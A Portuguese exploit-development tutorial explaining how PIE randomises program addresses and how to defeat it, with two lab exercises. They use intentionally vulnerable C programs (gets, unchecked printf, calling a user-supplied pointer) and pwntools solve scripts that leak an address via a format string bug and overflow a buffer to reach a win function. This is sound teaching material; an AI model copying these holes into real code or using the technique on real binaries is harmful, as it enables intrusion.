PIE

Position Independent Executable ou PIE é uma técnica de compilação que permite que um executável seja carregado em endereços aleatórios na memória. Isso dificulta alguns exploits que é preciso obter endereços vulneráveis no programa, já que o endereço irá mudar a cada execução.

Demonstração

main.c
#include <stdio.h>

int main()
{
	printf ("%p", main);
	return 0;
}

Esse código apenas imprime o endereço da função main e é possível utilizar esse programa para ver o funcionamento do PIE.

Sem PIE:

Compilando esse programa usando o comando gcc -no-pie <código> -o <executável> e executando ele algumas vezes é possível observar que o endereço da main se mantém o mesmo em todas as execuções.

┌──(ata㉿vBoxKali)-[~/Documents]
└─$ gcc -no-pie main.c -o exec

┌──(ata㉿vBoxKali)-[~/Documents]
└─$ checksec exec 
[*] '/home/ata/Documents/exec'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
                                                                                                                  
┌──(ata㉿vBoxKali)-[~/Documents]
└─$ ./exec                     
0x401126                                                                                                                  
┌──(ata㉿vBoxKali)-[~/Documents]
└─$ ./exec
0x401126                                                                                                                  
┌──(ata㉿vBoxKali)-[~/Documents]
└─$ ./exec
0x401126                                                                                                                  

Com PIE:

Compilando o programa usando o comando gcc -o <executável> <código> e executando ele algumas vezes é possível observar que o endereço da main sempre altera a cada execução.

┌──(ata㉿vBoxKali)-[~/Documents]
└─$ gcc -o exec main.c         
                                                                                                                  
┌──(ata㉿vBoxKali)-[~/Documents]
└─$ checksec exec
[*] '/home/ata/Documents/exec'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
                                                                                                                  
┌──(ata㉿vBoxKali)-[~/Documents]
└─$ ./exec
0x55eb5064c139                                                                                                                  
┌──(ata㉿vBoxKali)-[~/Documents]
└─$ ./exec
0x563b72644139                                                                                                                  
┌──(ata㉿vBoxKali)-[~/Documents]
└─$ ./exec
0x5647f2a9d139

Exploit

Para podermos exploitar o PIE podemos explorar a forma em que o PIE coloca o código executável na memória. O PIE ele vai aleatorizar a página na memória que contém o executável, desse modo o endereço base (primeiro endereço do programa) sempre irá terminar com 000 e os demais endereços sempre vão ter o mesmo deslocamento em relação ao endereço base. Portanto, se conseguirmos acesso a um endereço do programa e seu deslocamento, poderemos calcular o endereço base e todos os outros endereços a partir daí.

No exemplo anterior, se observamos todos os endereços da main terminam em 0x139, e olhando o código no pwndbg conseguimos observar que o deslocamento da main em relação ao endereço base é 0x1139.

pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000001139 <+0>:     push   rbp
   0x000000000000113a <+1>:     mov    rbp,rsp
   0x000000000000113d <+4>:     lea    rax,[rip+0xfffffffffffffff5]        # 0x1139 <main>
   0x0000000000001144 <+11>:    mov    rsi,rax
   0x0000000000001147 <+14>:    lea    rax,[rip+0xeb6]        # 0x2004
   0x000000000000114e <+21>:    mov    rdi,rax
   0x0000000000001151 <+24>:    mov    eax,0x0
   0x0000000000001156 <+29>:    call   0x1030 <printf@plt>
   0x000000000000115b <+34>:    mov    eax,0x0
   0x0000000000001160 <+39>:    pop    rbp
   0x0000000000001161 <+40>:    ret
End of assembler dump.

Com isso, se, por exemplo, o endereço impresso no programa for 0x5647f2a9d139 e sabemos que o deslocamento da main em relação ao endereço base é 0x1139, podemos fazer 0x5647f2a9d139 - 0x1139 e obter 0x5647f2a9c000 como o endereço base do programa.

Portanto, a ideia do exploit é obter algum endereço que sabemos o deslocamento em relação ao endereço base e então calcular o endereço base e todos os outros endereços que nos interessam.

Exemplo 1: Endereço dado pelo programa

Nesse primeiro exemplo iremos analisar como fazer o exploit em um programa que dá ao usuário o endereço da função main e pede para ele obter o endereço da função win.

Exemplo1.c
#include <stdio.h>

int main() 
{
    func();
    return 0;
}

void func()
{
    void (*p)();
    printf ("A main está no endereco: %p", main);
    printf ("\nQual o endereço da função win?\n");
    scanf ("%p", &p);
    p();
}

void win() 
{
    printf("\nParabéns, Você encontrou a função win.");
}

Usando pwndbg conseguimos observar o deslocamento da função main e o deslocamento da função win.

pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000001159 <+0>:     push   rbp
   0x000000000000115a <+1>:     mov    rbp,rsp
   0x000000000000115d <+4>:     mov    eax,0x0
   0x0000000000001162 <+9>:     call   0x116e <func>
   0x0000000000001167 <+14>:    mov    eax,0x0
   0x000000000000116c <+19>:    pop    rbp
   0x000000000000116d <+20>:    ret
End of assembler dump.

pwndbg> disass win
Dump of assembler code for function win:
   0x00000000000011cc <+0>:     push   rbp
   0x00000000000011cd <+1>:     mov    rbp,rsp
   0x00000000000011d0 <+4>:     lea    rax,[rip+0xe79]        # 0x2050
   0x00000000000011d7 <+11>:    mov    rdi,rax
   0x00000000000011da <+14>:    call   0x1030 <puts@plt>
   0x00000000000011df <+19>:    nop
   0x00000000000011e0 <+20>:    pop    rbp
   0x00000000000011e1 <+21>:    ret
End of assembler dump.

Com esse valores, podemos executar o programa e realizar os cálculos necessários para conseguir obter o endereço da função win.

$ ./exec
A main está no endereco: 0x55e8b0a95159
Qual o endereço da função win?
55e8b0a951cc

Parabéns, Você encontrou a função win.

O endereço fornecido pelo programa foi 0x55e8b0a95159, esse é o endereço da main, como sabemos que o deslocamento da main é 0x1159, basta subtrair o endereço fornecido por esse deslocamento. Então, fazendo 0x55e8b0a95159 - 0x1159 obtemos o endereço base que é 0x55e8b0a94000. Como o deslocamento da função win é 0x11cc, só precisamos fazer 0x55e8b0a94000 + 0x11cc para obter o endereço da função win, que será 0x55e8b0a951cc. Portanto, ao colocar esse valro no programa é impresso a string da função win.

A seguir há um código em python para realizar os cálculos necessário para resolver esse exercício.

Exemplo1-solve.py
from pwn import *

# Criando o processo
elf = context.binary = ELF('./Exemplo1')
p = process()

# Pegando o endereço fornecido pelo programa e colocando na variável "main"
p.recvuntil(b'endereco: ')
main = int(p.recvline(), 16)

# Definindo o endereço base subtraindo o deslocamento da função main com o endereço obtido anteriormente
elf.address = main - 0x1159

# Pegando o endereço da função "win"
# Como definimos o elf.address com o endereço base, não é preciso realizar nenhum cálculo para obter esse endereço
payload = hex(elf.sym['win'])
payload = bytes(payload, 'utf-8')

print()
print(payload)

# Enviando o payload
p.recvuntil(b'win?\n')
p.sendline(payload)

# Imprimindo o resultado
print(p.clean().decode())

Executando esse programa, obtemos o seguinte resultado.

[*] '/home/ata/Documents/PIE/Exemplo 1/Exemplo1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/home/ata/Documents/PIE/Exemplo 1/Exemplo1': pid 34529

b'0x56076934a1cc'
[*] Process '/home/ata/Documents/PIE/Exemplo 1/Exemplo1' stopped with exit code 0 (pid 34529)

Parabéns, Você encontrou a função win.

Exemplo 2: Format String Bug

Nesse exemplo iremos analisar um programa em que será necessário utilizar o format string bug para descobrir algum endereço para realizar o exploit e depois utilizar o valor descoberto para fazer um buffer overflow.

Exemplo2.c
#include <stdio.h>

void vuln() 
{
    char buffer[40];

    printf ("Qual o seu nome?\n");
    gets(buffer);
    
    printf("Bem Vindo ");
    printf(buffer);

    printf("\nQual sua mensagem?\n");

    gets(buffer);
}

int main() 
{
    vuln();
    return 0;
}

void win() 
{
    puts("\nParabéns, Você conseguiu exploitar o PIE.");
}

Analisando o programa, conseguimos ver que é chamada a função vuln na main e então é pego um input do usuário que é imprimido logo em seguida com um printf vulnerável e então depois é pego outro input do buffer com o últimos gets. Como a função vuln é chamada pela main, o endereço de retorno à main deve estar na pilha, então podemos utilizar o format string bug para vazar esse endereço da main.

O endereço de retorna de função que está na pilha irá conter o endereço depois da chamada da função vuln na main, então podemos olhar no pwndbg para saber qual o deslocamento desse endereço.

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000000011c9 <+0>:     push   rbp
   0x00000000000011ca <+1>:     mov    rbp,rsp
   0x00000000000011cd <+4>:     mov    eax,0x0
   0x00000000000011d2 <+9>:     call   0x1159 <vuln>
   0x00000000000011d7 <+14>:    mov    eax,0x0
   0x00000000000011dc <+19>:    pop    rbp
   0x00000000000011dd <+20>:    ret
End of assembler dump.

O endereço que procuramos tem o valor 0x11d7 de deslocamento, então temos que procurar algum valor na pilha que tenha valor. Então, agora temos que rodar o programa e utilizar o formato %p para imprimir os valores da pilha.

┌──(ata㉿vBoxKali)-[~/Documents/PIE/Exemplo 2]
└─$ ./Exemplo2
Qual o seu nome?
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Bem Vindo 0x646e6956206d6542 (nil) (nil) 0x55f6150506dd (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x7f0070252070 0x7ffdfcc63250 0x55f614d9f1d7 0x1 0x7fdab4b83c8a
Qual sua mensagem?

Conseguimos observar um valor 0x55f614d9f1d7 no 13° argumento que termina com o deslocamento encontrado anteriormente, então esse endereço deve ser o endereço de retorno da main. Com isso, podemos colocar um breakpoint utilizando pwndbg depois de qualquer endereço depois de imprimir o buffer fornecido pelo usuário e antes do segundo gets. Quando atingirmos esse breakpoint, podemos utilizar um comando para mostrar a pilha de execução.

pwndbg> disass vuln
Dump of assembler code for function vuln:
   0x0000000000001159 <+0>:     push   rbp
   0x000000000000115a <+1>:     mov    rbp,rsp
   0x000000000000115d <+4>:     sub    rsp,0x30
   0x0000000000001161 <+8>:     lea    rax,[rip+0xea0]        # 0x2008
   0x0000000000001168 <+15>:    mov    rdi,rax
   0x000000000000116b <+18>:    call   0x1030 <puts@plt>
   0x0000000000001170 <+23>:    lea    rax,[rbp-0x30]
   0x0000000000001174 <+27>:    mov    rdi,rax
   0x0000000000001177 <+30>:    mov    eax,0x0
   0x000000000000117c <+35>:    call   0x1050 <gets@plt>
   0x0000000000001181 <+40>:    lea    rax,[rip+0xe91]        # 0x2019
   0x0000000000001188 <+47>:    mov    rdi,rax
   0x000000000000118b <+50>:    mov    eax,0x0
   0x0000000000001190 <+55>:    call   0x1040 <printf@plt>
   0x0000000000001195 <+60>:    lea    rax,[rbp-0x30]
   0x0000000000001199 <+64>:    mov    rdi,rax
   0x000000000000119c <+67>:    mov    eax,0x0
   0x00000000000011a1 <+72>:    call   0x1040 <printf@plt>
   0x00000000000011a6 <+77>:    lea    rax,[rip+0xe77]        # 0x2024
   0x00000000000011ad <+84>:    mov    rdi,rax
   0x00000000000011b0 <+87>:    call   0x1030 <puts@plt>
   0x00000000000011b5 <+92>:    lea    rax,[rbp-0x30]
   0x00000000000011b9 <+96>:    mov    rdi,rax
   0x00000000000011bc <+99>:    mov    eax,0x0
   0x00000000000011c1 <+104>:   call   0x1050 <gets@plt>
   0x00000000000011c6 <+109>:   nop
   0x00000000000011c7 <+110>:   leave
   0x00000000000011c8 <+111>:   ret
End of assembler dump.

pwndbg> break *vuln+99
Breakpoint 1 at 0x11bc

pwndbg> r
Starting program: /home/ata/Documents/PIE/Exemplo 2/Exemplo2 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Qual o seu nome?
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Bem Vindo 0x646e6956206d6542 (nil) (nil) 0x5555555596dd (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x7f0070252070 0x7fffffffe1a0 0x5555555551d7 0x1 0x7ffff7decc8a
Qual sua mensagem?

Breakpoint 1, 0x00005555555551bc in vuln ()

pwndbg> x/40x $sp
0x7fffffffe160: 0x25207025      0x70252070      0x20702520      0x25207025
0x7fffffffe170: 0x70252070      0x20702520      0x25207025      0x70252070
0x7fffffffe180: 0x20702520      0x25207025      0x70252070      0x00007f00
0x7fffffffe190: 0xffffe1a0      0x00007fff      0x555551d7      0x00005555
0x7fffffffe1a0: 0x00000001      0x00000000      0xf7decc8a      0x00007fff
0x7fffffffe1b0: 0xffffe2a0      0x00007fff      0x555551c9      0x00005555
0x7fffffffe1c0: 0x55554040      0x00000001      0xffffe2b8      0x00007fff
0x7fffffffe1d0: 0xffffe2b8      0x00007fff      0xd8008116      0x41fcdacd
0x7fffffffe1e0: 0x00000000      0x00000000      0xffffe2c8      0x00007fff
0x7fffffffe1f0: 0xf7ffd000      0x00007fff      0x55557dd8      0x00005555

Nessa pilha podemos ver vários valores 0x252070 que correspondem ao diversos %p dados como input anteriormente e o valor 0x555551d7 0x00005555, que é o valor de retorno da main. Então, podemos ver que há 56 bytes de diferença entre esse valor e o começo do buffer.

Depois de toda essa análise, podemos fazer um código em python para resolver este exemplo, como é mostrado a seguir.

Exemplo2-solve.py
from pwn import *

# Criando o processo
elf = context.binary = ELF('./Exemplo2')
p = process()

# Vazando o endereço da pilha
p.recvuntil(b'nome?\n')
p.sendline(b'%13$p')

# Colocando esse valor na variável "elf_leak""
p.recvuntil(b'Vindo ')
elf_leak = int(p.recvline(), 16)

print('\nValor Vazado da pilha: ' + str(hex(elf_leak)))

# Definindo o endereço base
elf.address = elf_leak - 0x11d7

print('\nEndereço base: ' + str(hex(elf.address)))

# Setando o payload com 56 caracteres e o endereço da função win
payload = b'a' * 56
payload += p64(elf.sym['win'])

print('\nEndereço da função win: ' + str(hex(elf.sym['win'])))
print()
print(payload)

# Enviando o payload
p.recvuntil(b'mensagem?\n')
p.sendline(payload)

# Mostrando o Resultado
print(p.clean().decode())

Resultado mostrado após a execução do programa.

┌──(ata㉿vBoxKali)-[~/Documents/PIE/Exemplo 2]
└─$ python Exemplo2-solve.py 
[*] '/home/ata/Documents/PIE/Exemplo 2/Exemplo2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/home/ata/Documents/PIE/Exemplo 2/Exemplo2': pid 260031

Valor Vazado da pilha: 0x5587c77af1d7

Endereço base: 0x5587c77ae000

Endereço da função win: 0x5587c77af1de

b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xde\xf1z\xc7\x87U\x00\x00'

Parabéns, Você conseguiu exploitar o PIE.

[*] Stopped process '/home/ata/Documents/PIE/Exemplo 2/Exemplo2' (pid 260031)

Referências

Ir0nstone

Atualizado